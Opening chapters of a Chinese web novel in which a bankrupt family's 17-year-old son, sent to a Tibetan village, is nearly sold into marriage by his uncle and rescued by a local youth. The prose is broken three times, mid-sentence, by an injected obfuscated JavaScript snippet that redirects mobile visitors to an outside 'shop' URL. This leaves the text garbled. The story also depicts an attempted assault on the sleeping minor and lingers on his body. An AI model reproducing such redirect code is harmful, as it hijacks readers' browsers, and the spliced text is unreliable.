《老婆就是要富养呀!》 1. 第 1 章 2011年,盛夏。 因为地处西南高原,纵然海拔只有三千米,久塘县的夏天和闷热潮的蓉城截然不同。 这里的夏日可见度极高,一眼望去,高山巍峨,水色如碧,草甸蜿蜒,空气干净的仿佛被洗过一般。 这是沈泱来到久塘的第六天。 前几天因为高原反应,他在他大伯家躺了整整四天。 今天终于适应了这里的气候,早饭时间后,沈泱便戴着一顶帽檐很大的草帽,穿着长袖长裤出了门。 身后是金灿灿的阳光,巍峨茂盛的一棵不知名大树挡住了倾撒下来的阳光。 沈泱摘掉了草帽,屁股底下垫了好几张手帕纸,他脱了鞋,在清澈见底的潭水里泡脚。 一点点微凉。 沈泱眯着眼睛,看着不远处的雪山,向来心大的少年忽然有一点感慨世事无常了。 半个月前,他还是蓉城里养尊处优的小少爷,住的是三层别墅,家里有好几个阿姨照顾,上下学还都有司机接送。 但短短的半个月,他爸公司破产后,带着剩下的存款消失的无影无踪。 一周前,后妈确定他爸是带着钱和小三出国后,毫不犹豫地将他扔到了川西高原,他大伯家。 王女士已经很够意思了,最起码在她离开蓉城的时候,还给自己找了个落脚点。 沈泱心情复杂地想着。 不远处的翠绿草地上,有两只白色的蝴蝶在飞舞。 沈泱的黑色运动裤挽到膝盖的位置,小腿雪白,隐约可以看见一些细小柔软的绒毛。 他眼神专注地盯着两只距离他越来越近的白色蝴蝶。 身后传来了窸窣的动静声,像是什么东西的爪垫踩在茂盛的草地里。 沈延浑身的汗毛登时竖了起来,像是被什么危险的东西盯住了。 沈泱绷紧身体,迅速地转过头。 先松了一口气,是一个人,不是什么危险的野兽。 他逆着光,眉眼鼻唇在沈泱的视网膜里只有一个看不清楚的轮廓。 但对方的身形极其高大,沈泱赤足坐在潭水边,要仰着高高的头,皙白的脖颈无遮无掩地抬起来,彻底暴露在海拔三千米的高原上,才能看到对方的脸部轮廓。 一朵云挡住了金灿灿的太阳。 少年的五官彻底映入沈泱的瞳仁里。 沈泱的奶奶是藏族人,但爷爷是蓉城人,他爸爸又生在平原,长在平原,是很白面书生的秀气长相。 而沈泱的生母年轻的时候是一个舞蹈演员,高挑白皙,父母都白,沈泱的皮肤更是天生就白,长到十七岁,因为一直都是锦衣玉食,一身的细皮嫩肉恍若霜雪。 久塘县回宁村的海拔在整个川西来说,不算高,但这里的藏族羌族汉族肤色都比较深了。 对方肤色是常见的偏黑一点的深麦色,眉毛很浓,一双眼睛漆黑狭长,直勾勾地盯着他。 像一头野生牦牛。 野生牦牛独自生活在气候恶劣的高原地区,它们体型魁梧健硕,性格凶猛而警觉,具有强烈的领地意识和侵略性,是当之无愧的高原恶霸。 沈泱再一细看,对方的眼帘微微垂了下来,脊背略弯,刚刚的侵略性和危险性仿佛是他的错觉。 他明明是在草甸上吃草的家养牦牛,纵然体型容易让人望而生畏,但性格温顺老实,就算有人拿着马鞭甩在它的屁股上,它也只会委屈的哞哞叫,而不会反抗主人一下。 沈泱转过头,右脚轻荡了一下潭水,水面涟漪轻起,他藏在水下的两只脚随着水面的晃荡摆动。 身后的男人没有离开。 沈延皱了下眉,但还是大方地挪了挪自己的屁股,给对方留出一个泡脚的位置。 身后的男人动了,脚步声由远及近。 沈泱余光扫过对方,先瞥见对方落在草地上的一双脚,穿着破破烂烂的塑料拖鞋,脚掌很大,几乎要把凉鞋撑满了。 不过因为对方的脚也不算白,倒是不好辨认他的脚到底干不干净。 沈泱决定结束泡脚这项活动。 他还没有起身,身旁的藏族汉子动了。 对方蹲下身,挺拔精阔的身体变成规规矩矩但不容忽视地硕大一块,他弯腰用粗糙干燥的大手捧了两捧水,在身旁的草地上简单地洗了洗手后,再次用关节粗大的手掌舀了两捧水,低头大口吮完。 粗糙的大掌拨过翠绿澈然的水面,白的发光的一双脚由于水波的晃动,好像也在狭长的眼睛里诱人的晃动。 沈泱目瞪口呆。 藏族人这么不讲究吗? 没等他有更进一步的反应,“沈泱”“沈泱”“沈泱”熟悉的声音在不远处响起,且越来越近。 他翻了个白眼,没好气地道:“我没死。” 不多时,沈家发找到了在潭水般泡脚的沈泱,他抱怨了一句,“你一个人跑什么跑,我都找了你好久。” “我又没让你找我。”沈泱的脾气不算好,从他出生开始,沈父的公司就一直走上坡路,再加上他长的好看,周围的人都是捧着他的,养成了有点骄纵自我的小少爷脾气。 “你……”沈家发是沈泱大伯的第二个儿子,也是被从小宠大的,刚要怼他几句,沈家发瞧见沈泱暴露在高原潭水里笔直白皙的一双腿,他眼神不由得直了直。 像是上山挖松茸的时候被凶狠暴戾的野兽盯住了,手臂和后脖颈密密麻麻起了好几片的鸡皮疙瘩。 沈家发抬起头,只看见站在沈泱右侧的江措顿珠。 目光四下一绕,没有看见其他的大型动物,沈家发搓了搓凉飕飕的胳膊,催促道:“沈泱,你玩够了吗?和我回去吧,我阿妈在做午饭了,今中午是米饭。” 早上是糌粑和油茶,沈泱吃了一口便吐了出来。 双脚也感受到了寒意,沈泱慢吞吞地应了声好。 他从黑色运动裤的口袋里抽出憋下去的口袋纸,抽出两张纸。 两只脚从探出水面的瞬间,大颗大颗清透的水珠沿着他雪白的脚背,缓缓滴落在清澈的水面上,还剩下好几颗水珠,挂在纤细的趾骨上。 沈泱低着头,捏着两张纸巾慢条斯理地擦干净了脚上的水珠。 拿过一旁的鞋袜,穿好。 他弯腰打算捡起刚刚被他坐在屁股底下的几张纸巾时,一只常年劳作的粗糙大手先一步捡起了地上的几张纸巾。 “走了,沈泱。”沈家发叫他。 沈泱和沈家发一起离开了,走出潭水大概两三百米后,沈家发打听道:“你刚刚怎么和江措在一起?” “江措?”沈泱问,“刚刚我旁边的那个男生?” “对,你离他远点。”沈家发朝身后看了一眼,确定对方听不到他和沈泱之间的谈话后,沈家发还是压低了声音,“他爸爸是杀人犯,前几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976508|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和人打架直接用刀捅死了两个人,还被判死刑了呢!” “那他妈妈呢?” “他妈妈在他六岁的时候,就和别的男人跑了。”沈家发说,“反正你离他远一点,他和正常人不太一样,去年,你知道吗?有一头牦牛疯了要攻击人,我爸他们去拿木仓,结果江措顿珠竟然一拳给砸晕了!!” “还有春天的时候,他不知道怎么得罪了校外的几个混混,竟然被人来找麻烦,结果三打一,你猜怎么着,江措毫发无伤,人家三个进医院了。” “他还在读书吗?” “对啊,和你同级,下个月就读高三了,你后妈不是把你的学籍也转过来了吗?到时候我们都是校友。” “你得记住,别得罪他。”沈家发打量了一下沈泱的小身板,叹气道,“你这样的,一拳都不够人家揍的。” 沈泱不在意地懒洋洋地嗯了一声,又感觉有什么玩意儿在盯着自己。 沈泱扭过头,什么都没有看见,只看见一头温顺的,老老实实在草甸上吃草的牦牛。 ** 沈泱在沈家吃午饭,沈大伯和沈泱的父亲同母异父。 十几年前,得知蓉城的弟弟发达了,也去投奔过沈父。 刚开始他们一家人都在沈父的公司里工作,后来因为收回扣太过分了,沈大伯又得罪了住建局局长的儿子,沈泱的爸爸就让他们一家回了久塘。 前几天,沈泱躺在房间里,头晕脑胀恶心,都是沈家发端了清粥送给他。 今天早上一起吃饭,他们煮的是糌粑和油茶。 糌粑又干又黏,油茶又腥又腻,沈泱当场就跑到垃圾桶那里吐了出来。 沈大伯家的午餐虽然不能和沈泱在蓉城的时候相提并论,但也算是当地的富户了,四个满满当当的菜,还有一个不知名的汤。 吃饭的人很多,沈大伯有三子一女,大儿子结婚了还有一个儿子,不过大儿子在县城里看店,不在家,家里现在一共有八口人一起吃饭。 沈泱用纸巾又擦了两遍木筷子,端起碗,还没有吃饭,沈家发的弟弟沈家旺拿着碗,对着桌子咳嗽了几声,沈泱似乎听见了有浓痰在他喉咙里滚动。 沈泱咬着唇,用力地放下碗。 “怎么了?”沈家发大口往嘴里塞肉的同时,问了一句旁边的人。 “都对着饭菜咳嗽了,我还怎么吃啊?”沈泱站了起来,语气不爽地说。 他是真被沈家旺恶心的一点胃口都没了,怎么可以对着饭菜咳嗽呢? 还有沈家发,包着好大一口饭菜讲话,他都看到饭菜从他嘴巴里喷出来了。 沈家发转过头冲沈泱的背影嚷了一句,“你真不吃啊?你不饿吗?” “不饿。”沈泱头也不回。 他踏出正房门口的同时,听见他大伯母不加掩饰地嫌弃,“他家都破产了,还以为自己是什么金贵的小少爷啊?谁供着他啊?对着饭菜咳嗽了两下就不吃了?什么破毛病啊?” 下午四点,一天都没吃一口东西的沈泱有点饿了。 回宁村没有超市,最近的超市在镇子上,需要步行四十分钟下山,山路崎岖陡峭。 沈家老大的儿子今年两岁,他的妻子在家带小孩,买了很多旺旺仙贝给儿子磨牙吃。 她给她两岁儿子拿饼干的时候,沈泱走过去,睁大一双葡萄眼,看起来是很理直气壮地说,“我也要几个。” 2. 第 2 章 当了妈妈的女孩依旧很年轻,她愣了一下,没有多说什么,递给他好几包旺旺仙贝。 翌日,早餐又是酥油茶和糌粑。 沈泱一口没吃。 早饭之后,沈家人都各干各的事,离开了家。 沈泱拿出自己的手机,还是没有信号,他决定找一个地势开阔的地方,尝试一下能不能连上网。 两条腿都走酸了,沈泱来到了一个不知名的地方,一直加载中的页面终于弹了出来。 在他来到西南高原的这几天,穆宁然给他发了几十条□□消息。 沈泱一条一条看完,回复穆宁然的消息。 幻梦晨主:【放心,我在我大伯家,过得很好】 雷霆炽焰王:【那你怎么这么久都不回我消息?】 幻梦晨主:【这地方没网】 雷霆炽焰王:【你大伯的老家在哪里?】 幻梦晨主:【在川西久塘】 消息点击发送,就一直在转圈圈。 沈泱踮起脚,手机举过头顶,等了好一会儿,胳膊都举酸了,他也没有把消息发送出去。 比起繁华喧嚣的蓉城,久塘虽然很漂亮澄澈,但太偏僻了,沈泱在蓉城就没遇到过没网的情况!! 懒得折腾了,他下山往寨子里走。 刚走下山,距离他大伯家还有很远一截距离时,沈泱喉结不受控往下一滚,绷紧了身体。 不远处,一条皮毛在阳光下,呈现红棕色的大狗虎视眈眈地盯着他,喉咙里发出威胁的轻呼声。 沈泱一动不敢动。 野狗的身体微微压低,脊背缓慢的往高里抬,是一个狩猎的姿势。 忽然,他朝沈泱扑了过去。 沈泱转身就跑,跑了两步,看到一个院子,他不假思索地冲进去,“嘭”地一声,心惊肉跳地甩上有些破烂的木门。 人类的脚步声在他身后响起。 沈泱紧紧地关上门,嗓音颤抖,“外面有狗。” 江措腿长,几个大步走到了沈泱身旁。 沈泱戴着一顶遮阳的草帽,细嫩的脸庞上有着明显的恐慌,江措微不可查地拧了拧眉:“你去里面,我看看。” 沈泱立刻退后到了墙角。 江措用关节粗大的手打开破破烂烂的木门,走了出去。 一分钟之后,他回到院子,没有关上院门,他对沈泱说道:“那条野狗已经走了。” 他的嗓音有着和结实身体相仿的低哑磁性,只是他这么大的块头,两条胳膊规规矩矩地垂在大腿两侧,又低着头冲沈泱讲话,显得很没有攻击性和侵略性。 “野狗就是这样,欺软怕硬,如果你害怕它,它就想要攻击你,如果你表现的凶狠一些,它就不敢靠近你。” 沈泱侧着身体,像螃蟹一样横走了几步。 目光落在江措家院门的外面。 没有看见那条野狗的身影了。 他拍了拍心有余悸的胸口,说了句谢谢,又自来熟地问道,“我渴了,你家有水吗?我想喝水。” 不是有礼貌的措辞,因为谢谢没有说得很感激,说我渴了的时候也不说可以给我喝水吗的祈使句,而是我想喝水的要求。 但他讲完这话的时候,无意识地舔了舔干燥的唇瓣,他唇色本来就是艳红色,用舌头舔了舔后,湿漉漉的,泛着一层潋滟的水光。 明晃晃的日光从头顶洒下来,江措的睫毛厚而密,阳光没办法照进他狭长的眼底,他低声说:“我去给你拿。” 江措转身,进门的时候,因为个头太高了,快顶到土坯房的房顶了,他低了下头,才走了进去。 沈泱眼神在江措家的院子转了一圈,看到门外有一把小木凳,他有些累了,走了过去。 先从裤兜里抽出几张纸巾,他的口袋纸已经用光了,是在大伯家的抽纸里抽出的几张纸巾,质地不够柔软,但凑合能用。 他两只手指捏着纸巾,擦了擦江措家的木凳子,没什么灰。 屁股落在上面。 江措用搪瓷杯装了一杯水,弯腰走出门槛。 沈泱摘了草帽,听见动静,他扭过脸,一张雪白细腻的、不应该出现在偏僻落后的藏族山寨的漂亮脸蛋的无遮无掩的落入江措顿珠看起来很平静的瞳仁里。 不知道是太阳晒的,还是因为刚刚的剧烈运动,沈泱的脸颊泛着桃粉色,像是超市里售卖的最大最甜的苹果。 心会痒,想用最尖利的牙齿,狠狠地咬一口。 江措垂着眼,将搪瓷水杯递给沈泱。 沈泱接过水杯,搪瓷水杯的外表脱了漆,但内里是白色的,肉眼可见的干净。 嘴唇即将碰触到杯口的时候,沈泱将水杯从唇边拿走,疑问道:“你这水哪里来的?” “是那曲家后面那口井的水。”男人的嗓音低而微哑。 沈泱不知道那曲家是哪一家,但井水,应该…… “那口井的井水没人泡脚吧?”沈泱蹙着两条好看的眉,鼻子都皱了起来,嫌弃的不加掩饰。 因为沈泱坐在小板凳上,江措要低很多的头能和他讲话,“那口井很深,没办法泡脚。” 沈泱放心了,绯红的唇瓣贴上搪瓷水杯的边沿,不薄不厚的下唇包裹着杯沿,微微翘起的上唇含住杯口,透明液体滑过他的牙齿,流入他喉管,镶嵌在纤细脖颈上的喉结微微滚动着。 沈泱喝掉了三分之一的水。 藏族少年很实诚,容量有七百五十毫升的搪瓷水杯,他灌了接近满杯水。 江措接过搪瓷水杯,粗粝的手指不小心碰到了沈泱的手指。 沈泱没注意,他鼻子用力地嗅了两下,盯着他还没进去过的房间,“你在煮东西吗?” “我在烤土豆。” 江措捏着水杯,在沈泱手里,显得有些笨拙憨大的水杯,在他的大手里却显得有点小巧玲珑。 江措走了进去。 沈泱也站了起来,理所当然地走了进去。 沈泱没进过这么破旧的房子,过去的十七年,他住别墅开豪车,寒暑假去各地度假,就算被扔到了偏僻的川西高原。 沈大伯一家不穷。 他们的房子是寨子里最漂亮的房子,两层楼的石木架构,外墙是漂亮的赭红色和白色交错,屋顶下方的一米墙面绘制着繁杂的经文,窗户都是精雕的木花和卷草纹。 卧室和客厅里的梁柱雕花描金,有红色的地板和花纹繁复的地毯,是沈泱可以接受的居住环境。 泥土房的采光不是特别好,南墙有一扇窗户,但从窗户上的木头可以看得出来,年代久远。 地面竟然也是泥巴地面,没有铺水泥,再找平也显得凹凸不平,门口进来有一张凉板床,后面的墙壁贴着一些新闻报纸,房间面积不小。 他家的锅在正房正中间。 两根铁链悬起一个铁制平底锅,下面烧火,切成厚片的土豆微微卷边,冒出熟透了的香味。 “你要吃吗?”江措见沈泱的眼神直勾勾地落在烤土豆上,非常平静地问了一句。 昨天晚上和今天早上,他大伯家的饭菜都是糌粑和酥油茶,沈泱毫不犹豫地说:“我要吃。”也没有任何需要客气,或者不好意思的态度。 江措起身,又去多拿了一副碗筷。 沈泱接过碗筷,没看江措,眼睛盯着熟透的土豆,说了句谢谢。 他掏出纸巾,又擦了擦江措看起来已经很干净的碗筷了,见江措还没有动筷子,沈泱转过脸,有点迟疑地道,“是可以吃了吧?” 微红的火光映在少年深麦色的脸庞上,他嗓音沉哑地从喉咙里滚出来,“可以吃了。” 他先夹了一片烤土豆。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976509|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈泱紧随其后。 刚烤熟的土豆有点烫,沈泱没有闻到食物的香气,没有被人邀请一起分享他的早午餐时,沈泱没觉得太饿,好吃的食物都到嘴边了,沈泱他觉得饿了。 迫不及待张开嘴,咬了一口滚烫香甜的烤土豆,又觉得有点烫,不由得张开嘴唇,露出粉粉的舌头,吐着热气,发出了呼呼的声音。 他又这么白,很像一只漂亮娇贵的波斯猫。 沈泱吃掉了一大半的烤土豆,但江措也并没有因此吃不饱,他又去厨房淘洗了几个大土豆,切成厚片后,放到铁锅上烤。 吃完早午餐,江措麻利地打扫干净用具和碗筷,一般高大结实的人做起精细的家务活会显得有些笨拙,江措不是这种人。 他动作麻利干脆,充满了劳作感的粗糙大手是最灵活的工具,几下就将东西收拾干净,归纳整齐。 门外似乎传来了动静声,有一个女人用藏语叫着江措顿珠。 沈泱的奶奶会说藏语,所以沈泱尽管不会说藏语,但听懂藏语没有任何问题。 皮肤黝黑,穿着民族服装的中年女人出现在门口,看见江措后,女人眼睛一亮,直白地说:“江措,给我两千块钱。” 她应该是从不算近的地方走过来的,喘着气说:“我家卓玛生病了,要去医院。” 江措余光扫过站在一旁的沈泱,刚刚吃饭的时候他挽起了一截衣袖,露出的小臂不仅在土坯房里有种格格不入的润白。 也很瘦,腕骨直直地凸出来。 江措对女人说,语气平铺直叙,“我没钱。” 女人一愕,急切地说:“你怎么没有钱!” 她又抱怨道,像是十七岁的江措的确亏欠她家很多,“要不是你爸捅死了我家洛桑,我们家现在也不至于两千块都没有,你必须给我钱!” 江措头发很短,薄薄的眼皮垂下来,挡住浅褐色瞳孔里的幽光,他盯着矮小的女人。 长相有点凶悍。 女人心脏突突地一跳。 忽然,江措转过身动了起来,女人松了一口气,她就知道没钱找江措要准没错,江措虽然人高马大,冷漠寡言,但是木讷实在,和他爹为非作歹的性格截然不同。 这两年她但凡问他要钱,他没有不给的,何况现在是挖松茸的季节,他怎么可能没钱? 江措走到了北墙放置厨具的地方,手指按在刀柄上,拿起了冷光闪闪的菜刀。 江措前几日在磨过刀,刀刃锋利,泛着银光,江措粗糙的大手捏着一把森寒的菜刀朝女人走了过来,脸上没有一点表情,狭长的眼睛垂着。 江措越来越近,女人吞咽了一下口水,转过身害怕地跑了。 娘的,老鼠的儿子会打洞,杀人犯的儿子说不准也会杀人! “你拿刀干什么?”沈泱害怕地往门口退了两步。 江措把刀刃对准了自己,“让她杀了我。” 沈泱:“???” 江措又很冷静地道,“我知道她不敢。” 你倒是很聪明啊,沈泱心想。 江措把菜刀放回厨案上,他没有拿任何危险物品,虽然长得很高很结实,但和沈泱讲话的时候,弯着腰低着头,沈泱没觉得他有很强的攻击性和侵略性,像是驯养的很好的家养牦牛。 江措说:“我爸两年前和她大儿子打架,一刀捅死了他,这两年她经常问我要钱,我已经给了她很多钱了。” “我爸是个赌鬼,没有给我留下任何财产,我还给他还了一万多的赌债。” “她的大儿子也不是什么好人,坐过几次牢,他活着的时候经常有人去他们家要债。” 江措看着他,像是对沈泱承诺什么,又像只是因为没有什么亲近的人,所以对沈泱这个恰好出现在这里的人讲一讲他未来的打算,“以后我不会给她一分钱了。” 3. 第 3 章 沈泱哦了一声,他娇气自我,有一点小脾气,但性格不恶劣,很多时候也是很有同理心的人,大力地嗯了一声后,非常赞同地说,“别给了,本来也不应该你给。” “我要回去了。”沈泱拿起他最新款的触屏手机看时间,他竟然在江措家待了整整两个小时! “我送你。”江措跟在沈泱后面出了门。 “不用了,我自己回去就好。” 江措关上门,往外看了一眼,看似很随意地讲这样的话,“不知道刚刚那只野狗走远了吗?” 沈泱浑身一激灵,毫不迟疑地改了主意,“那还是你送我回去吧。” “我叫沈泱,沈是沈万三的沈,泱是泱泱华夏的泱。”沈泱戴上草帽,袖子挽下来,和江措顿珠一起离开他家的院子。 江措嗯了一声,又转过脸盯着沈泱,“我叫江措顿珠,江措是大海的意思,顿珠是寓意有所成就的意思。” 他的普通话不很标准,带着点久塘县的口音,嗓音却很好听,是那种荷尔蒙很浓烈的声音,讲话的时候,仿佛有一种低颤的频率在耳膜旁震动,沈泱的耳朵有点麻麻的。 “我知道了,沈家发昨天给我说过你的名字。” 两个人一路上没有说很多的话,但或许是有轮廓高大震慑性很强的江措护送他回家,沈泱没有遇见任何野狗。 江措把沈泱送到了他大伯家的门口,院墙的大门大开着,江措看到沈军安坐在铺了石砖的院坝里,和一个他认识的中年人讲话。 江措大拇指碾过食指,敛下目光。 沈泱没太关注出现在院子里的客人,他对江措说,“我到了,谢谢你。” “我回去了。” “嗯。” 江措离开了沈军安家,沈泱走进了沈军安家,往院子里走了几步,沈泱听到他大伯用藏语对中年男人说,“这个就是我侄子沈泱了。” 又叫了一声沈泱,“沈泱,来见一下你扎西叔叔。” 回宁村基本是藏民,可川西这边的藏民和西藏那边截然不同,这边汉化已经很明显了,这个村子里,取汉名的也不仅仅是沈大伯一家,有时候称呼也会随着汉族。 沈泱刚刚吃饱了,现在心情还算不错,何况他也有一点清楚,现在不是在蓉城了,他是一个寄人篱下的人。 沈泱走过去,叫了一句扎西叔叔。 扎西的身形魁梧,满身横肉,他对沈军安用藏语说,“他有点瘦啊。” “十七岁嘛,还在长个子啦。” 扎西的旁边还坐了一个女孩,大概二三十岁的样子,扎西扭过头看向女孩,女孩多看了沈泱几眼。 中午是酥油茶糌粑和烤牛肉,酥油茶和糌粑沈泱避之不及,烤牛肉的味道却还不错,沈泱吃了好几块。 沈泱晚上和沈家发睡一间卧室。 卧室的面积很大,有两张床,沈泱睡在大一点的那张床上,沈家发睡在另外那张床上,隔着接近两米的距离。 回宁村信号不好,沈家发今天去镇子上租了一本小说,躲在被窝里偷偷看小说。 晚上十一点,他有点困了,掀开被子去上了个厕所,摸索着回到了房间。 今夜月光皎洁,从房间的玻璃窗无所顾忌地照射进来。 沈泱睡得有点热,一条腿伸出了被子里,裤腿卷至大腿,小腿散发着珍珠一般的莹光。 沈家发又想到他在潭水里看到的那双腿和脚,不自觉咽了两下喉结,他蹑手蹑脚走过去。 沈泱睡得很熟,嘴巴一张一张吐着气,银白色的月光下,那张脸漂亮的不像是凡人。 真的好白啊,比女人都白。 他真的是男人吗? 沈家发心跳快了几拍,他俯下身,轻手轻脚地掀开搭在沈泱小腹上的棉被。 他的手指甲还带没洗干净的泥巴,心如擂鼓地捏住沈泱的裤腰。 准备把裤子扯下去。 被子被人掀开了,沈泱冷地蹙了蹙眉,手指无意识地摩挲着,寻找着自己的被子。 突然,他像握住了什么东西。 沈泱猛地睁开眼睛,明亮的月色下,一双不干净的手捏着自己的裤腰,在往下脱自己的裤子。 “沈家发,你他妈是个变态!”沈泱气上涌,激动抬起脚,朝他的腰腹狠狠地踹了一脚,又拿起自己搁在枕头上的手机,不管不顾地朝沈家发的脸砸了过去。 额头被重物袭击,沈家发疼的脸色有点扭曲,又见沈泱还在激动地拿枕头扔他,沈家发连忙道:“什么变态,我只是想看看你是不是个男的,你马上就要卖给别人做女婿了,要是裤子一脱,你是个女的,那我们怎么办?” 沈泱拿起手电筒准备砸沈家发,听到这句话,他愣在原地,愕然道:“你说什么?” 沈家发下意识觉得他半夜脱沈泱裤子的事必须找一个合理的理由,“就是今天的扎西次仁和他女儿,那就是我爸给你找的婆家,对,你入赘,你知道吗?央金卓玛精神有点问题,她上个老公还被她砍掉了两条胳膊,你如果是个女的,去了说不准两条胳膊两条腿都会被她砍掉,我还不是为你好!!!” 夜色很深,四周一片窒息的宁静,屋子的吵嚷声惊动了隔壁的沈大伯和沈大妈。 两个人披着衣服走过来,沈大妈没好气道,“大半夜的闹什么闹?还睡不睡觉了?沈泱,这里不是蓉城!” 沈泱眼睛直勾勾地盯着沈大伯,沈大伯虽然这几年常居久塘,但每年都要去蓉城,他对沈泱很好,会带一些当地的小礼物,经常夸赞他比几个堂兄都机灵聪明,是个好福气的人,又说大伯很喜欢他。 “大伯,你要把我卖给别人做女婿吗?” 沈大伯叹了口气说道:“沈泱,你也看到了,大伯家里这么多人吃饭,大伯对你也是有心无力,扎西家的条件很好,就一个独女,他也有本事,你去他们家是去……” “要去你去,我才不去!”沈泱气冲冲地说,穿上鞋就冲了出去。 沈大伯见状,抬了下眼,命令道:“还不把他拦下来。” 沈大伯的大儿子沈家强现在在家,他生得五大三粗,闻言立刻拦住沈泱的去路,沈大伯又吩咐沈母,“去给扎西打电话,让他明天一早就带着钱把他的女婿领走。” 沈母眉开眼笑地答应了。 “你放开我,沈家强,你放开我!”沈泱见沈家强又命令沈家发去拿绳子绑着他,沈泱低下头,在沈家强的胳膊上凶神恶煞地咬了一口,沈家强吃疼,用力地推了一把沈泱,沈泱尖叫一声救命啊,要杀人了。 沈家强又着急慌忙去捂沈泱的嘴巴。 就在这时,沈家客厅的门被人撬开了,房门被推开,江措出现在沈家客厅。 “江措,大半夜的,你来我家做什么?”沈大伯挡住江措的视线。 沈泱的嘴巴被沈家强捂住了,不能发出声音,他恶狠狠地咬了一口沈家强的掌心,沈家强松开他,沈泱趁机大喊,“江措,救命,他们要把我卖给精神病做老公!” 江措一把推开挡在他面前的沈军安,目光落在衣裳凌乱的沈泱身上,黑T睡衣皱巴巴套在他身上,露出一侧雪白圆润的肩膀。 睡裤的一截裤腿也挽了起来,雪白小腿上一条伤痕红的灼目。 “你受伤了?”江措眉头不自觉地拧了一下。 沈泱跟着江措的目光看过来,一下子看见了自己鲜血淋漓的小腿,他本来就是娇气怕疼的性格,脸色都扭曲了,乌黑的眼眶里立刻含了两包眼泪,“难怪我觉得疼死我了!” 江措走过去,打横抱起了沈泱,抬脚往外走。 沈大伯和沈家强连忙拦住江措的去路。 沈大伯说:“江措,你把沈泱放下来。” 沈泱还在惊讶之中,他怎么就忽然被人抱了起来,还是公主抱? 他的身形和江措比,是有点纤细和柔弱,但沈泱在蓉城读书的时候个头不算矮,他有一米七六,在班里都是中等偏上的个头了。 见沈大伯让江措放他下来,沈泱立刻搂紧了江措的脖子,冲沈大伯嚷道:“我要报警,告你们人口买卖!我才十七岁,根本就没办法结婚!!” 沈大伯根本不搭理色厉内荏的沈泱,只盯着江措。 江措垂下眼,扔出两个冰冷的字:“让开。” 回宁村的人体格都偏壮硕,沈大伯以前去蓉城的时候,许多人都要仰头望着他,在村子里更不是瘦小干枯的代名词,他长的很高,体型壮硕。 江措却比他还要半个头,少年人的身体不够结实横阔,但足够挺拔颀长。 他穿着廉价的,不太合身的一件黑色运动外套,应该是几年前的衣服了,袖口很短,手臂上硬邦邦的肌肉顺着袖口鼓出来,线条凌厉。 长而密的眼睫微微下垂着,眼睛狭长凌厉,勾着眼,有点像高原上的野生牦牛,危险而紧绷。 “还不让开吗?”江措蹙了下眉,不耐烦显而易见。 沈大伯喉头一滚,猛地想到了去年,村子里的一头牦牛发了疯,大家只能拿□□制服它,但在他冲向那曲家的小孩之前,江措一拳打过去,竟然让发疯的牦牛倒在了地上。 江措的爸爸丹增次仁,虽然不学无术,为非作歹,但满身横肉,胳膊粗的能抵旁人小腿,拿过久塘县摔跤大赛的冠军,力气很大,江措十三岁时就能把他体重两百斤的爸爸撂翻在地上不要命的揍。 沈大伯衡量了一下双方的实力差距,不甘不愿地让开了。 江措抱着受伤的沈泱离开了,他们村子没有大夫,隔壁村子有一个医生,距离回宁村不是很远。 房间门被拍得哐当响,睡不着的罗布占堆拉开灯,烦躁地打开门,“什么事?” 江措说道:“阿古,有人受伤了。”阿古是发的藏族音,类似于汉语里的叔叔。 听说是有人受伤了,罗布占堆赶紧打开房门。 江措把沈泱放在木制的椅子上,罗布占堆问他是哪里受伤了,沈泱用两只白白嫩嫩的手指捏起裤腿,指着小腿说,“这里。” 罗布占堆是个瘦弱的藏族人,他用沾了水的棉签擦拭掉沈泱左小腿上干涸的血液,露出他伤口的本来面目。 一条指甲长的,不太严重的划伤。 只是沈泱太白了,罗布占堆活了五十多岁,也没有见过这么白的人,但他的白不是不健康的苍白,就是一种矜贵细嫩的莹白,所以一点血液在雪白的小腿上,显得有点严重。 他看向江措顿珠,打趣道:“这点伤要是在你的身上,我怕是都找不到位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976510|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。” 沈泱并不觉得自己的伤口很轻微,他板着小脸,严肃地讲道:“可是我觉得我很疼。” “太娇气了呗。”罗布占堆不在意地说,“要开碘伏吗?别浪费几块钱了,过两天就没事了。” “江措,我的小腿很疼的呀。”沈泱扭过脸,对江措蹙着眉讲道。 “你再给他看看。”江措看向罗布占堆。 罗布占堆无奈地叹了口气,在沈泱的小腿前蹲下,再次给他抹了一道碘伏,顺便聊了句天,“你就是隔壁村沈军安的侄子吧,这几天都说隔壁村来了个白雪公主……” 沈泱打断他,脸上带着显而易见的愤怒,“沈军安不是我的大伯了。” 深更半夜,江措抱着受了不是很严重伤的沈泱,沈泱还穿着睡衣睡裤,头顶柔软的头发也不是很整齐,是略微显得有点狼狈地出现在他的简陋诊所。 